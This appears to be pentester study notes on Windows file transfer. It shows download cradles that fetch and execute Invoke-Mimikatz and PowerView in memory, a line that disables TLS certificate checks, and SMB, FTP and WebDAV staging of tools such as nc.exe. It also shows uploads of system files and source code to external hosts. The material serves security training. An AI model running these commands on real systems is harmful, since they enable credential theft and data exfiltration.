Windows File Transfer Methods

File Transfer Methods

Download Operations

PowerShell Base64 Encode & Decode 

sam@kali$ md5sum hash.txt

sam@kali$ cat hash.txt | bash64 -w 0;echo

---------------------------------------------------------------------------------------------------------------------------

PS C:\sam> [IO.File]::WriteAllBytes("C:\Users\Public\hash.txt", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFB"))

PS C:\sam> Get-FileHash C:\Users\Public\hash.txt -Algorithm md5

PowerShell Web Downloads

MethodDescription
OpenReadReturns the data from a resource as a Stream.
OpenReadAsyncReturns the data from a resource without blocking the calling thread.
DownloadDataDownloads data from a resource and returns a Byte array.
DownloadDataAsyncDownloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFileDownloads data from a resource to a local file.
DownloadFileAsyncDownloads data from a resource to a local file without blocking the calling thread.
DownloadStringDownloads a String from a resource and returns a String.
DownloadStringAsyncDownloads a String from a resource without blocking the calling thread.

PowerShell DownloadFile Method

File Download 
PS C:\sam> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\sam> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C \Users\Public\Downloads\PowerView.ps1')


PS C:\sam> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\sam> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
PowerShell DownloadString - Fileless Method 
PS C:\sam> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

PS C:\sam> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest 

PS C:\sam> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

Common Errors with PowerShell

Parsing Error 
PS C:\sam> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\sam> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
SSL/TLS Certificate Bypass 
PS C:\sam> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\sam> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

Creating SMB server (in Linux) 

sudo impacket-smbserver share -smb2support /tmp/smbshare

Copy a file from the SMB server (in Windows) - 

copy \\192.168.220.133\share\nc.exe

Create the SMB Server with a Username and Password 

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Mount the SMB Server with Username and Password 

net use n: \\192.168.220.133\share /user:test test

FTP Downloads

Installing & Setting up Python3 FTP Server 

sudo pip3 install pyftpdlib
python3 -m pyftpdlib --port 21

Transferring Files from an FTP Server Using PowerShell 

PS C:\sam> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File 

C:\sam> echo open 192.168.49.128 > ftpcommand.txt
C:\sam> echo USER anonymous >> ftpcommand.txt
C:\sam> echo binary >> ftpcommand.txt
C:\sam> echo GET file.txt >> ftpcommand.txt
C:\sam> echo bye >> ftpcommand.txt
C:\sam> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET file.txt
ftp> bye

C:\sam>more file.txt
This is a test file

Upload Operations

PowerShell Base64 Encode & Decode 

PS C:\sam> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo=

PS C:\sam> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

Hash
----
3688374325B992DEF12793500307566D

Decode Base64 String in Linux 

echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiM <SNIP>

PowerShell Web Uploads

Installing a Configured WebServer with Upload 

pip3 install uploadserver
python3 -m uploadserver

PowerShell Script to Upload a File to Python Upload Server 

PS C:\sam> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\sam> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload 

PS C:\sam> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\sam> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

------------------------------------------------------------------------------------------------------------------------------

nc -lvnp 8000

SMB Uploads

Configuring WebDav Server

Installing WebDav Python modules 
sudo pip3 install wsgidav cheroot
Using the WebDav Python module 
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Connecting to the Webdav Share 
C:\sam> dir \\192.168.49.128\DavWWWRoot

Uploading Files using SMB 

C:\sam> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\sam> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP Uploads 

sudo python3 -m pyftpdlib --port 21 --write

PowerShell Upload File 

PS C:\sam> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File 

C:\sam> echo open 192.168.49.128 > ftpcommand.txt
C:\sam> echo USER anonymous >> ftpcommand.txt
C:\sam> echo binary >> ftpcommand.txt
C:\sam> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\sam> echo bye >> ftpcommand.txt
C:\sam> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

RDP Uploads

XFREERDP Upload File 

xfreerdp /u:<user> /p:<pass> /v:<target> /drive:path-to-directory,share-name